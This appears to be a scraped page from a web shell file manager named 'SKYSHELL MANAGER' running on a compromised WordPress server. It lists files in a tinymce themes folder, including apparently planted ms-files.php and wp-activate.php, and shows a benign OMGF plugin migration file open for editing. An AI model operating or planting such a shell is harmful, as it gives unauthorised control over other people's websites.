📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
cstage
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
ms-files.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: Migrate.php
<?php /* * * * * * * * * * * * * * * * * * * * * * * ██████╗ ███╗ ███╗ ██████╗ ███████╗ * ██╔═══██╗████╗ ████║██╔════╝ ██╔════╝ * ██║ ██║██╔████╔██║██║ ███╗█████╗ * ██║ ██║██║╚██╔╝██║██║ ██║██╔══╝ * ╚██████╔╝██║ ╚═╝ ██║╚██████╔╝██║ * ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ * * @package : OMGF * @author : Daan van den Bergh * @copyright: © 2026 Daan van den Bergh * @url : https://daan.dev * * * * * * * * * * * * * * * * * * * */ namespace OMGF\DB; use OMGF\Admin\Settings; use OMGF\Helper as OMGF; /** * @codeCoverageIgnore */ class Migrate { /** @var string */ private $current_version = ''; /** * DB Migration constructor. */ public function __construct() { /** * Can be used to block migration scripts that shouldn't be run on a fresh installation. */ $this->current_version = OMGF_CURRENT_DB_VERSION; if ( $this->should_run_migration( '5.3.3' ) ) { new Migrate\V533(); } if ( $this->should_run_migration( '5.3.4' ) ) { new Migrate\V534(); } if ( $this->should_run_migration( '5.6.0' ) ) { new Migrate\V560(); } if ( $this->should_run_migration( '5.8.1' ) ) { new Migrate\V581(); } if ( $this->should_run_migration( '6.0.0' ) ) { new Migrate\V600(); } if ( $this->should_run_migration( '6.2.0' ) ) { new Migrate\V620(); } if ( $this->should_run_migration( '6.3.0' ) ) { new Migrate\V630(); } if ( $this->should_run_migration( '6.3.1' ) ) { new Migrate\V631(); } } /** * Checks whether the migration script should run. * * @param mixed $version * * @return bool */ private function should_run_migration( $version ) { return version_compare( $this->current_version, $version ) < 0; } }
Save